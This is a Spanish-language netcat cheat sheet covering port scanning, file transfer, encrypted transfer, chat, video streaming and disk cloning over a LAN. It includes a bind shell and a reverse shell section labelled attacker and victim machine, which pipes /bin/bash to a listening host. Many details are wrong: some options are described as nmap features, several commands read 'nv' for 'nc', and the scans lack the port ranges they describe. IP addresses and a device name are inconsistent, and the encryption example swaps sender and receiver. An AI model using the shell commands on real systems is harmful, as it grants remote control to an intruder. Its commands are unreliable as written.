Netcat
netcat o nc es una utilitario para transmisión en redes de datos, especialmente todo lo que tenga que ver con TCP, UDP, o los sockets de UNIX.
Es capaz de establecer conexiones TCP, enviar paquetes UDP, estar a la escucha en puertos TCP y UDP arbitrarios, efectuar escaneo de puertos, y manejar IPv4 e IPv6
Opciones
Opciones | Descripción |
---|---|
-4 | Fuerza a usar sólo IPv4 |
-6 | Fuerza a usar sólo IPv6 |
-l | Escucha conexiones |
-v | Salida verbosa |
-n | Desactiva búsqueda de DNS en direcciones IP y hostnames |
-p | Especifica el puerto de origen |
-w | Indica el valor de timeout |
-u | Usa UDP en lugar de la TCP |
-k | Fuerza seguir escuchando después de desconectar |
-z | Instruye a nmap a escanear demonios en escucha |
-h | Muestra la ayuda de nmap |
-x | Usa nmap con un proxy |
Uso
La sintaxis básica de netcat es:
nc opciones host puerto
Escanear puertos y atrapar bandera
Comando | Descripción |
---|---|
nc -zvn 192.168.59.1
| Escanea los puertos entre 1 y 100 . |
nc -zvn 192.168.59.1
| Escanea puerto 80 , 22 y 443 . |
nc -zvn 192.168.59.1 80 | Sólo escanea puerto 80 |
nc -zvn textp-plano.com 80 | Escanea puerto 80 en texto-plano.xyz |
nc texto-plano.xyz/~fulana/bandera | Toma bandera |
Abrir un shell remoto
Podremos abrir una sesión de shell a mano. Para ello, suponiendo que la IP del servidor es 192.168.58.3
,
En la máquina de servicio: | |
---|---|
nc -nvlp 8888 -e /bin/bash | Ponemos un proceso de Bash en escucha en el puerto 8888 |
En la máquina cliente: | |
nc -nv 192.168.59.3 8888 | Hacemos un proceso cliente que hable al servidor en 192.168.59.3 puerto 8888 . |
Abrir un shell inverso
Máquina atacante | |
---|---|
nc -nlvp 8888 | Escucha en puerto 8888 |
Máquina víctima | |
nc 192.168.59.3 8888 -v -e /bin/bash | Proceso de bash que emite en 192.168.59.3 8888 |
Bajar archivos
Suponiendo que el emisor está en 192.168.59.3
:
En el emisor | |
---|---|
nc -lvp 8888 < datos.txt | Emite un flujo a partir de datos.txt por puerto 8888 a la LAN |
En el receptor | |
nv -nv 192.168.59.3 8888 > data.txt | recibe el flujo de 192.168.59.3 por puerto 8888 y lo almacena en datos.txt |
Subir archivos
Suponiendo que el receptor está en 192.158.59.3
:
En el receptor: | |
---|---|
nv -lvp 8888 > datos.txt | |
En el emisor: | |
nv 192.168.59.3 8888 < datos.txt |
Comprimir y transferir
Para transferir directorios por la LAN, puede resultar muy útil comprimirlos al enviarlo, y descomprimirlos al recibirlo.
Suponiendo que el emisor está en 192.168.59.54
:
En el emisor: | |
---|---|
tar cfp - /respaldos | compress -c | nc 192.168.59.54 8888 | |
En el receptor: | |
nc -l -p 8888 | uncompress -c | tar xvfp - |
Encriptar y transferir
Las transferencias de ficheros usando netcat por defecto no van encriptadas, y cualquiera en la LAN podría capturar los paqueets enviados, de manera que es muy útil encirptarlos antes de enviarlos.
Suponiendo que la máquina que envía es 192.168.59.3
En la máquina emisora: | |
---|---|
nc -l -p 8888 | openssl enc -d -des3 -pass pass:contraseña > secreto.txt | |
En la máquina receptora: | |
openssl enc -des3 -pass pass:contraseña | nc 192.168.59.3 8888 |
Aplicación de chat
Podremos practicar lo más sencillo que es generar una aplicación de chat sencilla, que permita usar un puerto (8888
) para emitir paquetes de texto sin cifrado alguno. Suponiendo que el servidor esté en 192.168.59.3
En el servidor: | |
---|---|
nv -lvp 8888 | |
En el cliente: | |
nv 192.168.59.3 8888
|
Video streaming
Podremos hacer videostreaming, por ejemplo de una pantalla:
En el servidor: | |
---|---|
cat video.avi | nc -nvlp 8888 | Emite el fichero video.avi por el puerto 8888 |
nc 192.168.59.3 8888 | mplayer -vo x11 -cache 3000 - |
Clonar unidad de Linux
Esta es una manera útil de clonar un sistema de archivos por la red LAN.
Asumiendo que la máquina que envia está en 192.168.59.
En la máquina que envía: | |
---|---|
dd if=/dev/sbd | nc -l -p 8888 | |
En la máquina que recibe: | |
nc -n 192.168.59.3 8888 | dd of=/dev/sdb |